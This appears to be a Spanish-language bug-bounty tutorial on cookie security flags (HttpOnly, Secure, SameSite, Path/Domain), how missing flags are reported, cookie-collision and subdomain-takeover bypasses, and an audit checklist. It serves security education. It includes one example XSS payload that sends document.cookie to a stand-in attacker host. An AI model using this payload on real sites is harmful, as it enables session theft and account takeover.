Respuesta rápida
Las flags de cookie controlan dónde y cómo se envía la cookie. Las cuatro críticas: HttpOnly bloquea acceso desde JavaScript (mitiga robo via XSS), Secure exige HTTPS (mitiga sniffing en redes públicas), SameSite controla cross-site (mitiga CSRF), Path/Domain acotan el scope. Cuando una cookie de sesión carece de cualquiera de las tres primeras, hay reporte si se demuestra el impacto.
Las cuatro flags y qué protege cada una
HttpOnly
Set-Cookie: sessionid=abc123; HttpOnly
La cookie no es accesible desde document.cookie. Si la app tiene un XSS, el atacante no puede leer la cookie y robarla — solo puede actuar dentro del contexto del usuario en esa pestaña (más limitado).
Sin HttpOnly + XSS: ATO directo via fetch('//attacker.tld?c=' + document.cookie).
Secure
Set-Cookie: sessionid=abc123; Secure
La cookie solo viaja en HTTPS. En HTTP, el browser no la envía.
Sin Secure: un MitM en red WiFi pública (cafetería, aeropuerto) puede leer la cookie de sesión. También cualquier downgrade a HTTP la expone.
SameSite
Set-Cookie: sessionid=abc123; SameSite=Strict
Set-Cookie: sessionid=abc123; SameSite=Lax # default actual
Set-Cookie: sessionid=abc123; SameSite=None; Secure
| Valor | Cuándo se envía |
|---|---|
Strict | Solo same-site (mismo registrable domain) |
Lax | Same-site + navegación top-level GET (default) |
None | Siempre (requiere Secure) |
Sin SameSite o con None: CSRF clásico funciona. Con Lax, CSRF en POST está bloqueado pero GET sigue cruzando — si una acción crítica acepta GET, sigue siendo explotable.
Path y Domain
Set-Cookie: admin=1; Path=/admin; Domain=app.tld
Acotan dónde se envía la cookie. Si configuras Domain=.tld (parent domain), la cookie cruza a todos los subdominios — peligroso si hay subdominios de baja confianza.
Cómo se reporta cada caso
"Falta HttpOnly" (low severity solo)
Sin demostrar XSS, es un finding de baja severidad o N/A. Se acepta más cuando:
- Demuestras XSS y muestras que sin
HttpOnlyel robo es trivial. - La cookie es de sesión / auth, no telemetría.
"Falta Secure" (low / chained)
Más relevante si:
- La app sirve por HTTP en algún subdominio o legacy URL.
- El header
Strict-Transport-Securityestá mal configurado o ausente.
"Falta SameSite" (medium / chained con CSRF)
Aquí sí hay impacto real. Reporta SIEMPRE con:
- PoC de CSRF funcional sobre un endpoint que cambia estado.
- Flujo completo: víctima → página atacante → request cross-site con cookie → cambio en la cuenta.
Sin PoC funcional, es solo "best practice missing" y se cierra como Informational.
Bypasses comunes en validación de cookies
Cookie collision (subdomain → main domain)
Si la cookie principal está en app.tld con Domain=app.tld y un atacante consigue setear una cookie con el mismo nombre desde evil.app.tld (subdominio comprometido), el browser puede enviar dos cookies con el mismo nombre y la app puede usar la equivocada.
__Host- y __Secure- prefix
Las cookies con prefix __Host- deben tener Secure, Path=/, sin Domain. Las __Secure- solo Secure. Si la app usa estos prefixes, hay protección extra contra cookie collision.
IDN / Unicode tricks
Subdominios con caracteres Unicode similares pueden setear cookies que el browser interpreta como del dominio padre en algunos navegadores (vector raro pero existe).
Auditoría rápida de cookies
# Inspeccionar cookies de un dominio
curl -sI https://target.tld/login | grep -i 'set-cookie'
# En Burp: pestaña Proxy > HTTP history > filtrar por Set-Cookie
# En DevTools: Application > Cookies > revisar cada flag
Para una cookie de sesión, deberías ver:
sessionid=...; HttpOnly; Secure; SameSite=Strict; Path=/
Si falta cualquiera de las tres flags principales en una cookie de auth o sesión, hay potencial reporte. El triage exigirá PoC de impacto real (XSS chain, MitM scenario, CSRF working).
Patrón: cookie con Domain=.tld y subdominio comprometido
Cookie: session=abc; Domain=.example.tld
Si cualquier subdominio (legacy.example.tld, static.example.tld) tiene un XSS o subdomain takeover, la cookie de sesión del dominio principal viaja a ese subdominio. Vector clásico de ATO via subdomain takeover en programas con mucho subdominio legacy.
Checklist
- ¿Las cookies de sesión tienen
HttpOnly,SecureySameSite? - ¿Hay XSS o subdomain takeover que combinado con la cookie ausente lleve a ATO?
- ¿
SameSiteestá enLaxy existe algún endpoint crítico que acepta GET? - ¿Las cookies usan
Domain=.tld(parent)? Si sí, ¿qué subdominios existen y son seguros? - ¿Hay cookies con prefix
__Host-o__Secure-? (señal de buena práctica). - ¿Se invalidan las cookies en logout/server-side, o solo se borran del cliente?
Labs relacionados
Practica CSRF aprovechando SameSite mal configurado y combinaciones cookie + XSS: labs de cookies y session.
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Practica esto en un lab
Csrf
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
CSRF (Cross-Site Request Forgery) — explicado completo con bypasses
CSRF: cómo se explota, defensas comunes (tokens, SameSite, Origin), bypasses (method change, JSON, double-submit, content-type) y dónde buscarlo en cualquier app.
JWT — vulnerabilidades, bypasses y manipulación de claims
alg=none, RS256→HS256 confusion, kid SQLi/path traversal, jku spoofing, secret cracking con hashcat. Cómo cazar JWTs mal verificados.
OAuth attacks — state CSRF, redirect_uri bypass, code/token leakage
El state parameter ausente, redirect_uri mal validado, response_type confusion. Cómo robar OAuth tokens y forzar account linking.
